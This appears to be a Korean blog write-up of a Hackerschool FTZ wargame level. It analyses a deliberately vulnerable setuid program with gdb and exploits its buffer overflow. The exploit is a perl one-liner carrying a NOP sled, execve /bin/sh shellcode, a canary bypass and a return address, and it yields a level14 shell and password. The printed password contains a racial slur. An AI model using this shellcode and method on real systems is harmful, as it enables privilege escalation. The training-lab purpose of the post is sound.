[level13@ftz level13]$ bash2 [level13@ftz level13]$ cat hint
#include <stdlib.h>
main(int argc, char *argv[]) { long i=0x1234567; char buf[1024];
setreuid( 3094, 3094 ); if(argc > 1) strcpy(buf,argv[1]);
if(i != 0x1234567) { printf(" Warnning: Buffer Overflow !!! \n"); kill(0,11); } } |
먼저 bash2를 띄우고, 힌트를 확인해보니 역시 BOF문제네요
long형 변수 i를 두고 값이 조작될시에 BOF를 감지하고 종료하는것 같습니다.
그렇다면 i부분을 0x1234567로 덮어씌어줌으로 우회하면 되겠네요ㅎㅎ
gdb로 분석후 메모리 구조를 그려보겠습니다.
(gdb) disas main Dump of assembler code for function main: 0x080484a0 <main+0>: push %ebp 0x080484a1 <main+1>: mov %esp,%ebp 0x080484a3 <main+3>: sub $0x418,%esp …생략… 0x080484d4 <main+52>: pushl (%eax) 0x080484d6 <main+54>: lea 0xfffffbe8(%ebp),%eax 0x080484dc <main+60>: push %eax 0x080484dd <main+61>: call 0x8048390 <strcpy> 0x080484e2 <main+66>: add $0x10,%esp 0x080484e5 <main+69>: cmpl $0x1234567,0xfffffff4(%ebp) 0x080484ec <main+76>: je 0x804850d <main+109>
|
0x418( 10진수로 1048 ) 크기 만큼 메모리를 확보하네요
main+69를 보면 i 의 시작 주소가 ebp로부터 -12인 곳이라는걸 알수있습니다.
i의 메모리 크기가 4이므로, i와 SFP 사이의 dummy 크기는 8, buf와 i 사이의 dummy 크기는 12가 되겠네요
메모리 구조를 그려보면..
RET [4] |
SFP [4] |
dummy [8] |
i [4] |
dummy [12] |
buf[ 1024] |
이 되겠네요ㅎㅎ 그럼 이제 buf의 시작 주소를 찾아보겠습니다.
(gdb) b * main+66 Breakpoint 1 at 0x80484e2 (gdb) r Starting program: /home/level13/tmp/attackit
Program exited with code 0377. (gdb) r AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA Starting program: /home/level13/tmp/attackit AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Breakpoint 1, 0x080484e2 in main () (gdb) x/100x $esp 0xbffff120: 0xbffff130 0xbffffbaa 0x00000000 0x00000000 0xbffff130: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff140: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff150: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff160: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff170: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff180: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff190: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff1a0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff1b0: 0x41414141 0x41414141 0x41414141 0x41414141 0xbffff1c0: 0x41414141 0x00414141 0x40015a38 0x40015360 0xbffff1d0: 0x00000000 0x00000000 0x0804968c 0x40015a38 0xbffff1e0: 0x00000000 0x400169e0 0xf7aa4c0b 0x00009a39
|
strcpy 함수에의해 argv[1]이 buf에 복사되는 직후(main+66)에 브레이크포인트를 걸어주고
buf 의 시작 주소를 찾아냈습니다. 0xbffff130 이군요!!
필요한 정보는 다 모은것 같습니다. 정확한 메모리 계산이 가능해졌네요
‘nop+셸코드 (1036바이트) + i (0x1234567) + 쓰레기값(12바이트) + 셸코드 주소’를 인자로 전달하겠습니다.
이전 문제들과 마찬가지로 랜덤스택 문제를 우회하기 위해 반복을 통해 공격해보겠습니다.
[level13@ftz level13]$ while [ 1 ]; do ./attackme `perl -e 'print "\x90"x1000, "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x90"x11, "\x67\x45\x23\x01", "\x90"x12, "\xb0\xf1\xff\xbf"'`; done 세그멘테이션 오류 세그멘테이션 오류 세그멘테이션 오류 세그멘테이션 오류 세그멘테이션 오류 세그멘테이션 오류 세그멘테이션 오류 세그멘테이션 오류 세그멘테이션 오류 세그멘테이션 오류 세그멘테이션 오류 sh-2.05b$ id uid=3094(level14) gid=3093(level13) groups=3093(level13) sh-2.05b$ my-pass TERM environment variable not set.
Level14 Password is "what that nigga want?".
|
level14의 셸이 떳네요ㅎㅎ level15로 넘어가보겠습니다~
'System Hacking > 해커스쿨 FTZ' 카테고리의 다른 글
해커스쿨 FTZ ( level15 -> level16 ) by ORANG (0) | 2014.10.20 |
---|---|
해커스쿨 FTZ ( level14 -> level15 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level12 -> level13 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level11 -> level12 ) by ORANG (0) | 2014.10.20 |
해커스쿨 FTZ ( level10 -> level11 ) by ORANG (0) | 2014.10.20 |